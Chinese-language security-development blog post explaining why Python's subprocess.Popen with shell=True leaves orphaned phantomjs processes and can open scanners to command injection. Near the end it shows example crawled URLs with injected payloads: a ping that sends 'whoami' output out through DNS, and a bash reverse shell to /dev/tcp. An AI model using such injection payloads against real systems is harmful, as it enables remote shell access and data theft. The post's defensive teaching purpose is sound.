安全开发者的小黄鸭,会不定期的分享我在日常工作中遇到的一些问题、解决方案,以及新的姿势技巧,大多数推送的文章会比较短。
如果你在安全开发方面有什么问题,也可以直接回复公众号,我会抽时间解答~
一句话总结:subprocess.Popen 使用的时候,最好是 shell=False
ok~今天的主要内容是分析python subprocess模块的应用,以及需要注意的点,首先来看一段基本代码:
这段代码的作用是用 subprocess.Popen 开启一个基于 phantomjs 的爬虫进程,阻塞等待程序执行结束,使用正则表达式匹配出有效内容后返回。
程序做了超时处理,在调用communicate函数的时候指定了超时时间,如果任务超时,会调用kill函数杀掉当前进程。
但是在程序运行过程中,出现了多个phantomjs进程驻留内存的问题。
一开始怀疑kill()函数失效,为了检查kill()函数是否正常运行,我在 process.kill() 之前,插入了一句print(process.pid)。根据打印出来的pid,进程中并没有 subprocess 进程残留,即打印出来的 pid 和未结束的 phantomjs 进程pid并不相同,且phantomjs.pid = process.pid + 1。
似乎是subprocess在调度任务的时候,开启了两个进程,在父进程被kill的时候,并没有kill子进程(或者两个进程之间根本没有父子关系)。那为什么会开启两个进程呢?
搜索之后,发现了问题所在。shell=True 参数会模拟在shell中执行,先是起了shell进程,再从shell起了phantomjs进程。调用 process.kill() 之后,只杀死了shell进程。
所以解决方案也很明显,把 shell=True 改成 shell=False 即可。但 shell=False 的模式下,subprocess.Popen第一个参数传参需为 list,否则会报错。
对于原本是字符串格式的命令,可以用 shlex.split 函数来转换成 list。
**在分布式扫描系统中,启用 shell=True 还可能导致远程命令执行漏洞。
**
shell=True模式下,subprocess.Popen函数的第一个参数为字符串,有些同学就会这样写:
当你抓取到的URL是这样的:
http://xxx.com/ & ping `whoami`.xxx.nslog.xx ;
http://xxx.com/ ; bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
再比如,当你抓取到的URL是这样的:
如果没做特别限制的话,扫描者的程序可能就被狗带了。
当然还有一些其他的反击扫描者的方式,之后会和大家分享~